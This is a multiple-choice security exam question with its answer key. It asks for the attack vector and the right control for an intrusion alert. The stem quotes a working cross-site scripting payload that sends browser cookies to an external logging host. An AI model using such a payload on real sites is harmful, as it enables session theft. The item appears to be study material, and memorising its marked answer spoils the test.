A security administrator inspecting Network Intrusion Detection System (NIDS) alerts detects an HTTP POST request targeting an internal human resources portal. The recorded packet payload contains the string: `user=jdoe&token=<script>document.location='http://external-logger.net/collect?c='+document.cookie</script>`. Which of the following correctly identifies the vector shown in the alert and the proper security control response?
- Cross-Site Scripting (XSS); deploy a Web Application Firewall (WAF) or application-level sanitization to inspect and block malicious scripts.Answer
- BSQL Injection (SQLi); parameterize database queries to prevent malicious script strings from modifying database tables.
- CCross-Site Scripting (XSS); reconfigure the out-of-band NIDS sensor to function inline so it can directly drop matching packets.
- DCross-Site Scripting (XSS); reassign the internal web server to an isolated deception honeypot to capture and filter future attack payloads.
Answer
Cross-Site Scripting (XSS); deploy a Web Application Firewall (WAF) or application-level sanitization to inspect and block malicious scripts.
The recorded log string features script tags (`<script>`) designed to execute JavaScript in a target browser and exfiltrate session cookie data. This is a classic Cross-Site Scripting (XSS) payload. Because NIDS operates as a passive detective control, appropriate remediation requires application-aware protection such as input sanitization or a Web Application Firewall (WAF).
Step-by-Step Solution
Key Concept
Identifying Cross-Site Scripting (XSS) payloads in network security monitoring logs and selecting application-layer mitigation controls.